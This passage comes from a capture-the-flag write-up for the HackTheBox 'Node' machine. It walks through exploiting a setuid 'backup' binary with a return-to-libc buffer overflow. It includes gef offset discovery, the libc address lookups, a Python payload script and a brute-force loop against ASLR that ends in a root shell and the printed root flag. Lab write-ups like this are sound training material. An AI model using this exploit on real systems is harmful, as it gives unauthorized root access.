Fortify                       : ✘ 
RelRO                         : Partial
```

But, we can see that _ASLR_ is enabled on the victim machine.

{% hint style="info" %}
**Address space layout randomization** **(ASLR)** is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.
{% endhint %}

> cat /proc/sys/kernel/randomize\_va\_space

```
2
```

As _ASLR_ is enabled, and the _NX_ memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a _Return to libc_ attack.

{% hint style="info" %}
**Return to lib** is a tactic used for executing code that is not on the stack but in a sector of memory that is executable, for example in _libc_. The code used to break the program are functions within this library.
{% endhint %}

First, let's check at what point we start overwriting the EIP. Create a pattern with _gef_.

> gef➤ pattern create 1000

```
[+] Generating a pattern of 1000 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
[+] Saved as '$_gef0'
```

And execute the program giving the pattern as the third argument.

> gef➤ r a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 aaaab...yaaj

```
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x40b     
$ebx   : 0xffffcf70  →  0x00000004
$ecx   : 0x0       
$edx   : 0xf7fc41c0  →  0xf7fc41c0  →  [loop detected]
$esp   : 0xffffbe90  →  "eaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqa[...]"
$ebp   : 0x66616163 ("caaf"?)
$esi   : 0xffffd024  →  0xffffd1b7  →  "/home/alfa8sa/HTB/machines/node/backup"
$edi   : 0xffffcebf  →  0x00796500
$eip   : 0x66616164 ("daaf"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffbe90│+0x0000: "eaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqa[...]"    ← $esp
0xffffbe94│+0x0004: "faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafra[...]"
0xffffbe98│+0x0008: "gaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsa[...]"
0xffffbe9c│+0x000c: "haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaafta[...]"
0xffffbea0│+0x0010: "iaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafua[...]"
0xffffbea4│+0x0014: "jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafva[...]"
0xffffbea8│+0x0018: "kaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwa[...]"
0xffffbeac│+0x001c: "laafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxa[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x66616164
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "backup", stopped 0x66616164 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

As we see, the EIP has the vale `daaf`. With that value, we could see that the offset is 512.

> gef➤ pattern offset $eip

```
[+] Searching for '$eip'
[+] Found at offset 512 (little-endian search) likely
[+] Found at offset 320 (big-endian search)
```

Now, as I have control of the EIP, I could fill it with **B** characters.

> gef➤ r a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python -c "print('A'\*512+'B'\*4)")

```
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x227     
$ebx   : 0xffffd150  →  0x00000004
$ecx   : 0x0       
$edx   : 0xf7fc41c0  →  0xf7fc41c0  →  [loop detected]
$esp   : 0xffffc070  →  0xffffd400  →  "c508"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xffffd204  →  0xffffd39b  →  "/home/alfa8sa/HTB/machines/node/backup"
$edi   : 0xffffd09f  →  0x00796500
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffc070│+0x0000: 0xffffd400  →  "c508"        ← $esp
0xffffc074│+0x0004: 0x8049ed0  →  "/etc"
0xffffc078│+0x0008: 0x804d5b0  →  0xfbad2498
0xffffc07c│+0x000c: 0x8048a1b  →  <main+30> sub esp, 0xc
0xffffc080│+0x0010: 0x00000000
0xffffc084│+0x0014: 0x00000000
0xffffc088│+0x0018: 0x00000000
0xffffc08c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "backup", stopped 0x42424242 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

To exploit _Return to Libc_, and be able to spawn a shell as _root_, we'll need the `system` address, the `exit` address, the `/bin/bash` address and the `base_libc` address. First, we have to get the `base_libc` address from the victim machine. This address changes every time we execute the binary because _ASLR_ is enabled on the system. But, we'll pick a random one, and execute the final exploit multiple times, so when the `base_libc` address match, the root shell will appear. In this case is `0xf7579000`.

> ldd /usr/local/bin/backup

{% code overflow="wrap" %}
```
        linux-gate.so.1 =>  (0xf7738000)                                                                                            
        libc.so.6 => /lib32/libc.so.6 (0xf7579000)                                                                                  
        /lib/ld-linux.so.2 (0xf7739000)
```
{% endcode %}

We can see that the offset of the `system` and `exit` functions are `0x0003a940` and `0x0002e7b0`.

> readelf -s /lib32/libc.so.6 | grep -E " system@@| exit@@"

* **-s** display the **symbol table**.

```
   141: 0002e7b0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
  1457: 0003a940    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
```

Finally, we'll need the offset of the  `/bin/sh` function, which is `0x0015900b`.

> strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

* `-a` scan the **entire file**.
* `-t x` print the location of the string in **base 16**.

```
 15900b /bin/sh
```

Now, that I have the function's offset and the `base_lib` address, I can calculate the `system`, `exit` and `/bin/sh` addresses by adding the offset to the `base_lib` address.

The final payload will be the initial 512 `A` characters, the `system` address, the `exit` address and the `/bin/sh` address. The following script will calculate all the addresses, and print the final payload.

> nano /tmp/bof.py

```python
#!/usr/bin/python

from struct import pack

junk = "A" * 512

# ret2libc -> system_addr + exit_addr + bin_sh_addr

base_libc = 0xf7579000

system_addr_off = 0x0003a940
exit_addr_off = 0x0002e7b0
bin_sh_addr_off = 0x0015900b

system_addr = pack("<I", base_libc + system_addr_off)
exit_addr = pack("<I", base_libc + exit_addr_off)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_off)

payload = junk + system_addr + exit_addr + bin_sh_addr

print(payload)
```

Finally, if we make a loop of _1000_ iterations, run the `backup` binary, and running the python script as the third argument of the binary, at some point, the `base_libc` addresses will match, and we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.

> for i in $(seq 1 1000); do backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python /tmp/bof.py); done

{% code overflow="wrap" %}
```
...
# whoami                                                                                                                                            
root                                                                                                                                                
# cat /root/root.txt                                                                                                                                
ebbdb9069c32150e8a14029e929c5839
```
{% endcode %}
